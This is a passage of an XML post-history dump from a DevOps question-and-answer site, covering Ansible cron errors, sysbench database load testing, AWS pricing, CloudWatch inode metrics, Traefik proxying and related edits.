health.&#xD;&#xA;&#xD;&#xA;Other aspects delve into feature and device usage which enable you to make informed decisions about depreciating these in order to limit your application's [complexity][1]. Since complexity is directly linked to bugs and development velocity, it makes sense to limit it where possible.&#xD;&#xA;&#xD;&#xA;Sources: [Telerik][2] and [Stackify][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://uta.influuent.utsystem.edu/en/publications/the-relationship-between-software-bug-type-and-number-of-factors-&#xD;&#xA;  [2]: https://www.telerik.com/blogs/application-metrics-you-should-monitor-constantly&#xD;&#xA;  [3]: https://stackify.com/web-performance-monitoring-guide-developers/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10074" PostHistoryTypeId="5" PostId="3197" RevisionGUID="dc19e6a2-cee8-4dcf-ace1-73cb2c9aa2d0" CreationDate="2018-01-27T17:58:48.523" UserId="6262" Comment="added 402 characters in body" Text="It is possible that the base image is different on each host. Can you confirm the images for php:5-fpm on each host are identical?&#xD;&#xA;&#xD;&#xA;If the image from the Mac host is older, try updating it. You may need to update the package name in the dockerfile.&#xD;&#xA;&#xD;&#xA;If you want to preserve the same behavior on your newer host, make sure you are pulling the image with the same hash or version-specific tag. It’s quite possible the newer version of the php image is on a newer version of Ubuntu. The package name may have changed between repos." ContentLicense="CC BY-SA 3.0" />
  <row Id="10075" PostHistoryTypeId="50" PostId="1746" RevisionGUID="bf68386e-516c-4656-bd7b-0559125d33c7" CreationDate="2018-01-27T18:49:27.013" UserId="-1" />
  <row Id="10078" PostHistoryTypeId="2" PostId="3212" RevisionGUID="2b0fbb22-3707-435e-b952-d67aa449318f" CreationDate="2018-01-29T05:47:02.160" UserId="3451" Text="As far as I understand `sysbench` is for bencharking / test max. performance of a database server. I wish to simulate DB usage pattern of a typical cloud native web app (Twelve-Factor App). Is this possible with `sysbench`? If yes how? Or any other Open Source tool you recommend?&#xD;&#xA;&#xD;&#xA;I work in DBaaS (MariaDB) so can't say what exact app (shop, historic info, social media, forum). I wish to deploy app on Cloud Foundry." ContentLicense="CC BY-SA 3.0" />
  <row Id="10079" PostHistoryTypeId="1" PostId="3212" RevisionGUID="2b0fbb22-3707-435e-b952-d67aa449318f" CreationDate="2018-01-29T05:47:02.160" UserId="3451" Text="simulate SQL DB usage pattern of a typical cloud native web app with sysbench?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10080" PostHistoryTypeId="3" PostId="3212" RevisionGUID="2b0fbb22-3707-435e-b952-d67aa449318f" CreationDate="2018-01-29T05:47:02.160" UserId="3451" Text="&lt;cloud&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10081" PostHistoryTypeId="2" PostId="3213" RevisionGUID="45b5ac9f-fd89-49ed-ae3f-d186e30686e3" CreationDate="2018-01-29T10:00:42.563" UserId="3055" Text="I am relatively inexperienced when it comes to Ansible however I have previously created playbooks which will create a cron job successfully. For the life of me I cannot work out what is wrong with my .yml file.&#xD;&#xA;&#xD;&#xA;I am receiving the below error when attempting to run my playbook locally with:&#xD;&#xA;    &#xD;&#xA;    ansible-playbook -i &quot;localhost,&quot; -c local crond.yml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ERROR! 'cron' is not a valid attribute for a Play&#xD;&#xA;&#xD;&#xA;    The error appears to have been in &#xD;&#xA;    '/etc/ansible/cds/roles/backups/tasks/crond.yml': line 3, column 3, but may&#xD;&#xA;    be elsewhere in the file depending on the exact syntax problem.&#xD;&#xA;&#xD;&#xA;    The offending line appears to be:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - cron:&#xD;&#xA;      ^ here&#xD;&#xA;&#xD;&#xA;I have seen similar questions asked on SE/Ansible forums but to no avail. Any help/guidance would be much appreciated.&#xD;&#xA;&#xD;&#xA;Here is my crond.yml file:&#xD;&#xA;&#xD;&#xA;    - cron:&#xD;&#xA;        user: &quot;root&quot;&#xD;&#xA;        minute: &quot;30&quot;&#xD;&#xA;        hour: &quot;02&quot;&#xD;&#xA;        job: '{{/usr/bin/rsync -avhz -e &quot;ssh&quot; --rsync-path=&quot;sudo rsync&quot; -H --delete --numeric-ids &lt;ipaddress&gt;:&quot;/data/rsnapshot-backups/&lt;ipaddress&gt;&quot; /data/rsnapshot-backup}}'&#xD;&#xA;        state: present" ContentLicense="CC BY-SA 3.0" />
  <row Id="10082" PostHistoryTypeId="1" PostId="3213" RevisionGUID="45b5ac9f-fd89-49ed-ae3f-d186e30686e3" CreationDate="2018-01-29T10:00:42.563" UserId="3055" Text="Creating a cron job with Ansible (ERROR! 'cron' is not a valid attribute for a Play)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10083" PostHistoryTypeId="3" PostId="3213" RevisionGUID="45b5ac9f-fd89-49ed-ae3f-d186e30686e3" CreationDate="2018-01-29T10:00:42.563" UserId="3055" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10084" PostHistoryTypeId="2" PostId="3214" RevisionGUID="e9cb1431-24b2-44b2-a750-1a395f942860" CreationDate="2018-01-29T12:03:13.863" UserId="3509" Text="`crond.yml` in your example is not a playbook. It is a tasks file (list of tasks), while playbook is a list of plays.&#xD;&#xA;&#xD;&#xA;A play must have `hosts` directive at minimum. Please see http://docs.ansible.com/ansible/latest/playbooks_intro.html#hosts-and-users&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a playbook:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - cron:&#xD;&#xA;            user: &quot;root&quot;&#xD;&#xA;            minute: &quot;30&quot;&#xD;&#xA;            hour: &quot;02&quot;&#xD;&#xA;            job: '{{/usr/bin/rsync -avhz -e &quot;ssh&quot; --rsync-path=&quot;sudo rsync&quot; -H --delete --numeric-ids &lt;ipaddress&gt;:&quot;/data/rsnapshot-backups/&lt;ipaddress&gt;&quot; /data/rsnapshot-backup}}'&#xD;&#xA;            state: present" ContentLicense="CC BY-SA 3.0" />
  <row Id="10088" PostHistoryTypeId="5" PostId="3214" RevisionGUID="01a4864a-b95b-425b-9d73-0f1416cf05bc" CreationDate="2018-01-29T12:24:52.073" UserId="3509" Comment="{{ }} removed" Text="`crond.yml` in your example is not a playbook. It is a tasks file (list of tasks), while playbook is a list of plays.&#xD;&#xA;&#xD;&#xA;A play must have `hosts` directive at minimum. Please see http://docs.ansible.com/ansible/latest/playbooks_intro.html#hosts-and-users&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a playbook:&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - cron:&#xD;&#xA;            user: &quot;root&quot;&#xD;&#xA;            minute: &quot;30&quot;&#xD;&#xA;            hour: &quot;02&quot;&#xD;&#xA;            job: '/usr/bin/rsync -avhz -e &quot;ssh&quot; --rsync-path=&quot;sudo rsync&quot; -H --delete --numeric-ids &lt;ipaddress&gt;:&quot;/data/rsnapshot-backups/&lt;ipaddress&gt;&quot; /data/rsnapshot-backup'&#xD;&#xA;            state: present" ContentLicense="CC BY-SA 3.0" />
  <row Id="10090" PostHistoryTypeId="2" PostId="3216" RevisionGUID="e9ded6a9-4ee1-4310-811e-184ef4434e92" CreationDate="2018-01-29T13:40:46.927" UserId="3055" Text="I got around this by adding my crond.yml task to the global playbook and now call it via tags (ansible-playbook -vvv -i &quot;localhost,&quot; -c local site.yml --tags backups).&#xD;&#xA;&#xD;&#xA;I added the cron_file section to define the location of the cron job as /etc/cron.d/rsync.cron rather than the root users crontab. I then added state: present to ensure that the cronjob exists on the server and doesn't delete other entries in the file.&#xD;&#xA;&#xD;&#xA;I also updated the job section of the task to remove the '{{ }}' and replace with double quotes surrounding the command as well as double quotes around any double quoted strings like below:&#xD;&#xA;&#xD;&#xA;    - cron:&#xD;&#xA;        name: &quot;Copy all rsnapshot backups from &lt;hostname&gt;&quot;&#xD;&#xA;        minute: &quot;30&quot;&#xD;&#xA;        hour: &quot;02&quot;&#xD;&#xA;        job: &quot;/usr/bin/rsync -avhz -e \&quot;ssh\&quot; --rsync-path=\&quot;sudo rsync\&quot; -H --delete --numeric-ids &lt;ipaddress&gt;:\&quot;/data/rsnapshot-backups/&lt;ipaddress&gt;\&quot; /data/rsnapshot-backup&quot;&#xD;&#xA;        user: root&#xD;&#xA;        cron_file: rsync.cron&#xD;&#xA;        state: present" ContentLicense="CC BY-SA 3.0" />
  <row Id="10091" PostHistoryTypeId="5" PostId="3216" RevisionGUID="4325fbbe-8163-4eef-9ce3-5466784d01af" CreationDate="2018-01-29T14:30:48.940" UserId="3055" Comment="deleted 9 characters in body" Text="I got around this by adding my crond.yml task to the global playbook and now call it via tags (ansible-playbook -vvv -i &quot;localhost,&quot; -c local site.yml --tags backups).&#xD;&#xA;&#xD;&#xA;I added the cron_file section to define the location of the cron job as /etc/cron.d/rsync.cron rather than the root users crontab. I then added state: present to ensure that the cronjob exists on the server and doesn't delete other entries in the file.&#xD;&#xA;&#xD;&#xA;I also updated the job section of the task to remove the '{{ }}' and replace with double quotes surrounding the command as well as '\'s around any double quoted strings like below:&#xD;&#xA;&#xD;&#xA;    - cron:&#xD;&#xA;        name: &quot;Copy all rsnapshot backups from &lt;hostname&gt;&quot;&#xD;&#xA;        minute: &quot;30&quot;&#xD;&#xA;        hour: &quot;02&quot;&#xD;&#xA;        job: &quot;/usr/bin/rsync -avhz -e \&quot;ssh\&quot; --rsync-path=\&quot;sudo rsync\&quot; -H --delete --numeric-ids &lt;ipaddress&gt;:\&quot;/data/rsnapshot-backups/&lt;ipaddress&gt;\&quot; /data/rsnapshot-backup&quot;&#xD;&#xA;        user: root&#xD;&#xA;        cron_file: rsync.cron&#xD;&#xA;        state: present" ContentLicense="CC BY-SA 3.0" />
  <row Id="10096" PostHistoryTypeId="50" PostId="2989" RevisionGUID="e9767d9c-0e3e-4372-8b81-68ba09fe3bcb" CreationDate="2018-01-29T16:18:47.917" UserId="-1" />
  <row Id="10097" PostHistoryTypeId="2" PostId="3218" RevisionGUID="b0599a08-f12a-4880-8666-cf90a6dd9a49" CreationDate="2018-01-29T16:45:05.703" UserId="2845" Text="&gt; ... [I] can't say what exact app (shop, **historic info**, social media, forum)&#xD;&#xA;&#xD;&#xA;This makes this question very difficult to answer. This is because you have two basic types of queries:&#xD;&#xA;&#xD;&#xA;OLTP and OLAP queries&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;&gt;**Online transaction processing (OLTP)** is information systems that facilitate and manage transaction-oriented applications, typically for data entry and retrieval transaction processing.&lt;sup&gt;1&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;These kinds of queries tend to be very high volume, but short, and targeted and are a great fit for a system like MariaDB. On the other hand,&#xD;&#xA;&#xD;&#xA;&gt;**Online analytical processing, or OLAP**, is an approach to answering multi-dimensional analytical (MDA) queries swiftly in computing. OLAP is part of the broader category of business intelligence, which also encompasses relational database, report writing and data mining. Typical applications of OLAP include business reporting for sales, marketing, management reporting, business process management (BPM), budgeting and forecasting, financial reporting and similar areas, with new applications coming up, such as agriculture.&lt;sup&gt;2&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;These types of queries perform extremely poorly at scale in Maria DB unless it is [properly tuned](https://mariadb.com/resources/blog/mariadb-columnstore-new-beginning) and certain database management and [retrieval techniques](https://www.percona.com/blog/2010/11/15/shard-query-adds-parallelism-to-queries/) are used (such as [partitioning](https://www.rittmanmead.com/blog/2006/04/using-partitioning-to-improve-the-performance-of-oracle-olap-aggregation/), for example). These performance issues are largely a result of a confluence of disk I/O issues and the fact that [queries are single-threaded](https://dba.stackexchange.com/questions/56522/mysql-multi-threading-for-a-single-query) in terms of CPU. While sysbench can do a great job of testing the performance of OLTP queries, for OLAP queries, you will need something else. For example, one programmer forked sysbench to [add the ability to do OLAP queries](https://github.com/tidalscale-frankh/sysbench-olap).&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Unless we can get a bit more information about how much data you are working with and what kind of I/O operations you will be doing (reporting or transactional) it is hard to say if this specific tool will do the job. Ultimately database management is a complex discipline and there is a reason DBAs are able to make careers out of just database management. I have seen a lot of programmers think that they don't really need to worry about database management and they don't really need to integrate a DBA into their team. As their app scaled, they very quickly found out they were dead wrong. If you are planning a multi-tenancy DBaaS environment, you are going to need to architect your system very carefully in order to prevent one tenant from affecting the performance of the other and consider offering DBA consulting if your customers begin to suffer performance issues - and factor that into the price. If they can't afford their own databases and find that managing that in house is untenable and unaffordable, you will need to provide both the platform ***and*** the expertise as part of your service as one customers performance issue can easily become *all* of your customers' performance issue. That means you are going to really need to know your stuff or make sure you hire people who do. In short, databases are *hard*.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt; https://en.wikipedia.org/wiki/Online_transaction_processing&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;2&lt;/sup&gt; https://en.wikipedia.org/wiki/Online_analytical_processing" ContentLicense="CC BY-SA 3.0" />
  <row Id="10098" PostHistoryTypeId="2" PostId="3219" RevisionGUID="3cfc0469-6456-4410-b456-01757f1922b4" CreationDate="2018-01-29T17:13:17.747" UserId="397" Text="So having gone backwards and forward over this for a couple of weeks, Azure has confirmed to me in-person that the only way to utilise FIPS-140 Level 2 certified hardware security modules in Microsoft Azure is to use [Azure Key Vault][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-gb/services/key-vault/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10099" PostHistoryTypeId="50" PostId="1262" RevisionGUID="210d65f5-fe6b-45a7-b1a5-0c3cae1fceb0" CreationDate="2018-01-29T18:18:46.473" UserId="-1" />
  <row Id="10100" PostHistoryTypeId="50" PostId="2049" RevisionGUID="8e6c0e87-e0ac-483b-b844-ce9152a7e763" CreationDate="2018-01-29T19:18:48.190" UserId="-1" />
  <row Id="10101" PostHistoryTypeId="10" PostId="3189" RevisionGUID="7b0181cc-7005-4b16-a2c9-f5c0b8a2ffff" CreationDate="2018-01-30T02:23:40.307" UserId="46" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="10102" PostHistoryTypeId="2" PostId="3220" RevisionGUID="a9080b9f-f8e6-4db8-b910-8dddf8f1b1ac" CreationDate="2018-01-30T05:32:44.847" UserId="6141" Text="We need to setup some server in our organization to distribute application update, upgrades and patches. I've seen some docs about Microsoft WSUS server which says that it is used to deliver Microsoft Updates. &lt;br&gt;&lt;br&gt;&#xD;&#xA;**Has anyone tried it to distribute non-Microsoft product updates?** &#xD;&#xA;&lt;br/&gt;Yes, we are delivering our products in msi installer format...&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10103" PostHistoryTypeId="1" PostId="3220" RevisionGUID="a9080b9f-f8e6-4db8-b910-8dddf8f1b1ac" CreationDate="2018-01-30T05:32:44.847" UserId="6141" Text="Can we use Microsoft WSUS server to distribute non-Microsoft product updates?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10104" PostHistoryTypeId="3" PostId="3220" RevisionGUID="a9080b9f-f8e6-4db8-b910-8dddf8f1b1ac" CreationDate="2018-01-30T05:32:44.847" UserId="6141" Text="&lt;microservices&gt;&lt;upgrade&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10105" PostHistoryTypeId="5" PostId="2059" RevisionGUID="3e1301cb-e30e-4df0-88b0-182f346a8ca8" CreationDate="2018-01-30T07:47:34.230" UserId="707" Comment="edited body" Text="For example, by branch name you might want to execute different tasks (regress testing in release branches instead of massive integration tests for example).&#xD;&#xA;&#xD;&#xA;Is there a mechanism to do that in Bamboo's UI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10106" PostHistoryTypeId="2" PostId="3221" RevisionGUID="a5793924-d590-497d-80da-09b90e3b19ea" CreationDate="2018-01-30T10:54:34.253" UserId="5402" Text="I have created custom CloudWatch alarm for Disk Utilization for root and mount volume to monitor the disk space for my Ubuntu (16.04) instances, but quite often it happens that disk is only 60% full (df -h) and still it's unable to create any more file as the i-node (df -i) already reached its limit. To keep an eye on this, I want to introduce a custom metric for i-node utilization and then want to configure an alarm on it.&#xD;&#xA;&#xD;&#xA;Please provide a solution, considering I am relatively new in AWS." ContentLicense="CC BY-SA 3.0" />
  <row Id="10107" PostHistoryTypeId="1" PostId="3221" RevisionGUID="a5793924-d590-497d-80da-09b90e3b19ea" CreationDate="2018-01-30T10:54:34.253" UserId="5402" Text="How to create custom AWS CloudWatch metric for i-node" ContentLicense="CC BY-SA 3.0" />
  <row Id="10108" PostHistoryTypeId="3" PostId="3221" RevisionGUID="a5793924-d590-497d-80da-09b90e3b19ea" CreationDate="2018-01-30T10:54:34.253" UserId="5402" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10109" PostHistoryTypeId="2" PostId="3222" RevisionGUID="9e263285-e4d4-423e-af6e-d837f21531a7" CreationDate="2018-01-30T11:46:36.817" UserId="6" Text="AWS have published a plugin for `collectd` which allows to send metrics collected using `collectd` to CloudWatch.&#xD;&#xA;&#xD;&#xA;https://github.com/awslabs/collectd-cloudwatch&#xD;&#xA;&#xD;&#xA;The `collectd` monitoring tool runs on the server and can be configured to collect various metrics, among them metrics on disks and filesystems using their `DF` plugin. https://collectd.org/wiki/index.php/Plugin:DF&#xD;&#xA;&#xD;&#xA;You can turn the `ReportInodes` option of the CollectD DF plugin and then have these metrics reported to CloudWatch as custom metrics using the AWS CollectD CloudWatch plugin." ContentLicense="CC BY-SA 3.0" />
  <row Id="10110" PostHistoryTypeId="50" PostId="1389" RevisionGUID="55335410-48e6-4a02-920e-1a11b328bf04" CreationDate="2018-01-30T12:26:17.757" UserId="-1" />
  <row Id="10111" PostHistoryTypeId="2" PostId="3223" RevisionGUID="2ca6edd7-6fa2-48ec-805b-14e5c2760030" CreationDate="2018-01-30T12:57:00.090" UserId="6313" Text="I am developing an inventory management application i want to use AWS EC2 . which will have 10-15 users and storage about 2GB  .as a newbie i could not understand the pricing can somebody help me out " ContentLicense="CC BY-SA 3.0" />
  <row Id="10112" PostHistoryTypeId="1" PostId="3223" RevisionGUID="2ca6edd7-6fa2-48ec-805b-14e5c2760030" CreationDate="2018-01-30T12:57:00.090" UserId="6313" Text="How much it will cost for AWS for deploying a inventory management application" ContentLicense="CC BY-SA 3.0" />
  <row Id="10113" PostHistoryTypeId="3" PostId="3223" RevisionGUID="2ca6edd7-6fa2-48ec-805b-14e5c2760030" CreationDate="2018-01-30T12:57:00.090" UserId="6313" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10114" PostHistoryTypeId="50" PostId="1622" RevisionGUID="bc1f4111-ddf1-499f-91ff-a3b2f76a3517" CreationDate="2018-01-30T13:26:17.753" UserId="-1" />
  <row Id="10116" PostHistoryTypeId="5" PostId="3223" RevisionGUID="83af867d-8571-421f-839c-ddfeb487b731" CreationDate="2018-01-30T13:51:12.620" UserId="6313" Comment="added 34 characters in body" Text="I am developing an inventory management application i want to use AWS EC2 . which will have 10-15 users and storage about 2GB  .as a newbie i could not understand the pricing can somebody help me how much it will **cost me per month**" ContentLicense="CC BY-SA 3.0" />
  <row Id="10117" PostHistoryTypeId="2" PostId="3224" RevisionGUID="500d8195-07c4-428a-9392-a1257fae8f5e" CreationDate="2018-01-30T13:53:23.103" UserId="6087" Text="Make sure you connect your traefik instance to the client docker-network (as specified on the bottom of [this page][1]):&#xD;&#xA;    &#xD;&#xA;    When running inside a container, Træfik will need network access through:&#xD;&#xA;&#xD;&#xA;    docker network connect &lt;network&gt; &lt;traefik-container&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.traefik.io/configuration/backends/docker/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10118" PostHistoryTypeId="2" PostId="3225" RevisionGUID="0431b738-35f9-4e3e-958c-96cb89c74d99" CreationDate="2018-01-30T15:09:30.980" UserId="4175" Text="With cloud solutions like AWS, this is not so straightforward to figure out like with &quot;classic&quot;, always-on servers that wholly belong to you, and where you are paying fixed monthly prices for power, network, backup and rack-space, with maybe a little bonus on-top if you exceed some bandwidth limits.&#xD;&#xA;&#xD;&#xA;So, in your case, have a good look at what &quot;sizes&quot; of VMs AWS has to offer. According to Wikipedia, in 2016, prices on AWS ranged from $0.0065/hour to $6.82/hour, depending on performance and other factors, with similar ranges for storage, and then further complicated by other factors of your plan (i.e., 3-years prepaid or whatever).&#xD;&#xA;&#xD;&#xA;Secondly, you have to factor in when and how long you actually need your application to be available. If none of your users are working before 7am or after 9pm, then you can have the application running only in this time, not paying anything in the &quot;off&quot; time.&#xD;&#xA;&#xD;&#xA;Thirdly, there are even more options. For example, maybe you can use lambdas for some functionality of your application (even more finegrained control over costs) and so on.&#xD;&#xA;&#xD;&#xA;Lastly, there are things like spot prices, where you bid for unused resources at drastically lower prices. You might become creative here and run your background batch processes on such instances, for example.&#xD;&#xA;&#xD;&#xA;So, you see, we cannot really predict what your application will cost. It would certainly be possible to give you a ballpark figure in the case that you would run your application 24/7 just like a classic VM, but that would be rather useless.&#xD;&#xA;&#xD;&#xA;You need to sit down, read some more about the AWS pricing structure (they do have an online calculator where you can plop a few values in). As you are not doing a play or for-fun project, it would also be more than worthwhile to actually experiment, get an AWS account, develop a small prototype and do some performance tests so you see what you actually do need." ContentLicense="CC BY-SA 3.0" />
  <row Id="10119" PostHistoryTypeId="5" PostId="3177" RevisionGUID="33d1e048-88aa-4498-991f-1ddd0b1133a7" CreationDate="2018-01-30T16:22:23.680" UserId="5898" Comment="Updated to reflect my current progress on the issue. " Text="Edit: I have updated my configuration to reflect [Henrik Hoegh's tutorial](https://www.praqma.com/stories/Proxying-Docker-containers-with-ease/). I am still running into issues. &#xD;&#xA;&#xD;&#xA;I am setting up a local development environment with lots of docker containers running applications. I am using Traefik to manage and locally proxy these containers (each container having a named local URL). Right now my setup is as follows &#xD;&#xA;&#xD;&#xA;**Traefik.toml**&#xD;&#xA;&#xD;&#xA;    [web]&#xD;&#xA;      address = &quot;:8088&quot;&#xD;&#xA;      [web.statistics]&#xD;&#xA;    &#xD;&#xA;    ################################################################&#xD;&#xA;    # Docker configuration backend&#xD;&#xA;    ################################################################&#xD;&#xA;    [docker]&#xD;&#xA;    &#xD;&#xA;    endpoint = &quot;unix:///var/run/docker.sock&quot;&#xD;&#xA;    domain = &quot;local.io&quot;&#xD;&#xA;    watch = true&#xD;&#xA;    &#xD;&#xA;    # Expose containers by default in traefik&#xD;&#xA;    exposedbydefault = true&#xD;&#xA;    &#xD;&#xA;    # Use the IP address from the bound port instead of the inner network one. For specific use-case :)&#xD;&#xA;    usebindportip = true&#xD;&#xA;    &#xD;&#xA;    # Use Swarm Mode services as data provider&#xD;&#xA;    swarmmode = false&#xD;&#xA;&#xD;&#xA;Docker-compose.yml file for container &#xD;&#xA;&#xD;&#xA;    ... &#xD;&#xA;    container_name: mcserviceface&#xD;&#xA;    labels:&#xD;&#xA;      - &quot;traefik.port=8080&quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I also have added `local.io` and `mcserviceface.local.io` (both pointing to my local machine) to my `ect/hosts` file. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I start up the Traefik container and the mcserviceface container, it shows up on the Traefik dashboard, but it does not show the URL as `mcserviceface.local.io` rather something like `http://185.28.0.3:80`. I also hit a `ERR_CONNECTION_TIMED_OUT` when I follow that link. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I resolve both of these issues?&#xD;&#xA;&#xD;&#xA;Edit: I have made sure that both containers on are on the same docker network via `docker network connect ...`. It does not resolve the issue. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10120" PostHistoryTypeId="4" PostId="3177" RevisionGUID="33d1e048-88aa-4498-991f-1ddd0b1133a7" CreationDate="2018-01-30T16:22:23.680" UserId="5898" Comment="Updated to reflect my current progress on the issue. " Text="Traefik configuration issue with local proxy" ContentLicense="CC BY-SA 3.0" />
  <row Id="10121" PostHistoryTypeId="5" PostId="3225" RevisionGUID="ae7bafa1-af36-406e-8b16-1d602205e94a" CreationDate="2018-01-30T17:17:30.383" UserId="4175" Comment="added 271 characters in body" Text="With cloud solutions like AWS, this is not so straightforward to figure out like with &quot;classic&quot;, always-on servers that wholly belong to you, and where you are paying fixed monthly prices for power, network, backup and rack-space, with maybe a little bonus on-top if you exceed some bandwidth limits.&#xD;&#xA;&#xD;&#xA;So, in your case, have a good look at what &quot;sizes&quot; of VMs AWS has to offer. According to Wikipedia, in 2016, prices on AWS ranged from $0.0065/hour to $6.82/hour, depending on performance and other factors, with similar ranges for storage, and then further complicated by other factors of your plan (i.e., 3-years prepaid or whatever).&#xD;&#xA;&#xD;&#xA;Secondly, you have to factor in when and how long you actually need your application to be available. If none of your users are working before 7am or after 9pm, then you can have the application running only in this time, not paying anything in the &quot;off&quot; time.&#xD;&#xA;&#xD;&#xA;Thirdly, there are even more options. For example, maybe you can use lambdas for some functionality of your application (even more finegrained control over costs) and so on.&#xD;&#xA;&#xD;&#xA;Lastly, there are things like spot prices, where you bid for unused resources at drastically lower prices. You might become creative here and run your background batch processes on such instances, for example.&#xD;&#xA;&#xD;&#xA;So, you see, we cannot really predict what your application will cost. It would certainly be possible to give you a ballpark figure in the case that you would run your application 24/7 just like a classic VM, but that would be rather useless.&#xD;&#xA;&#xD;&#xA;You need to sit down, read some more about the AWS pricing structure (they do have an online calculator where you can plop a few values in). As you are not doing a play or for-fun project, it would also be more than worthwhile to actually experiment, get an AWS account, develop a small prototype and do some performance tests so you see what you actually do need.&#xD;&#xA;&#xD;&#xA;Check out their calculator at https://aws.amazon.com/tco-calculator/ if you didn't already, but be prepared that their breakdown of on-premise costs is, in my opinion, not very useful (you'd better figure that out yourself, if on-premise is at all an option for you)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10122" PostHistoryTypeId="5" PostId="3225" RevisionGUID="9c8184e6-f55c-4267-925c-14f0710547ee" CreationDate="2018-01-30T18:12:10.810" UserId="4175" Comment="added 50 characters in body" Text="With cloud solutions like AWS, this is not so straightforward to figure out like with &quot;classic&quot;, always-on servers that wholly belong to you, and where you are paying fixed monthly prices for power, network, backup and rack-space, with maybe a little bonus on-top if you exceed some bandwidth limits.&#xD;&#xA;&#xD;&#xA;So, in your case, have a good look at what &quot;sizes&quot; of VMs AWS has to offer. According to Wikipedia, in 2016, prices on AWS ranged from $0.0065/hour to $6.82/hour, depending on performance and other factors, with similar ranges for storage, and then further complicated by other factors of your plan (i.e., 3-years prepaid or whatever).&#xD;&#xA;&#xD;&#xA;Secondly, you have to factor in when and how long you actually need your application to be available. If none of your users are working before 7am or after 9pm, then you can have the application running only in this time, not paying anything in the &quot;off&quot; time.&#xD;&#xA;&#xD;&#xA;Thirdly, there are even more options. For example, maybe you can use lambdas for some functionality of your application (even more finegrained control over costs) and so on.&#xD;&#xA;&#xD;&#xA;Lastly, there are things like spot prices, where you bid for unused resources at drastically lower prices. You might become creative here and run your background batch processes on such instances, for example.&#xD;&#xA;&#xD;&#xA;More variations are mentioned in the comments.&#xD;&#xA;&#xD;&#xA;So, you see, we cannot really predict what your application will cost. It would certainly be possible to give you a ballpark figure in the case that you would run your application 24/7 just like a classic VM, but that would be rather useless.&#xD;&#xA;&#xD;&#xA;You need to sit down, read some more about the AWS pricing structure (they do have an online calculator where you can plop a few values in). As you are not doing a play or for-fun project, it would also be more than worthwhile to actually experiment, get an AWS account, develop a small prototype and do some performance tests so you see what you actually do need.&#xD;&#xA;&#xD;&#xA;Check out their calculator at https://aws.amazon.com/tco-calculator/ if you didn't already, but be prepared that their breakdown of on-premise costs is, in my opinion, not very useful (you'd better figure that out yourself, if on-premise is at all an option for you)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10123" PostHistoryTypeId="2" PostId="3226" RevisionGUID="2465d363-ebf1-48a5-9f62-cec98e4ac531" CreationDate="2018-01-30T18:55:07.180" UserId="3899" Text="Did somebody had a chance to use http-builder-ng Groovy module in Jenkins pipeline? &#xD;&#xA;&#xD;&#xA;When I use this module with any kind of request/URL it always returns me null object when the same source code from my Desktop is being run fine. &#xD;&#xA;&#xD;&#xA;Here is debug output: &#xD;&#xA;&#xD;&#xA;    &lt;groovyx.net.http.UriBuilder$Basic@4bc2413c scheme=http port=-1 host=api.open-notify.org path=/astros.json query=[:] fragment=null userInfo=null parent=groovyx.net.http.UriBuilder$ThreadSafe@69c6847a useRawValues=null&gt;&#xD;&#xA;&#xD;&#xA;The older version of this module developed by groovy.codehouse works fine, but it doesn't have some methods which I need. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10124" PostHistoryTypeId="1" PostId="3226" RevisionGUID="2465d363-ebf1-48a5-9f62-cec98e4ac531" CreationDate="2018-01-30T18:55:07.180" UserId="3899" Text="Compatibility of http-builder-ng Groovy module with Jenkins 2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10125" PostHistoryTypeId="3" PostId="3226" RevisionGUID="2465d363-ebf1-48a5-9f62-cec98e4ac531" CreationDate="2018-01-30T18:55:07.180" UserId="3899" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;&lt;java&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
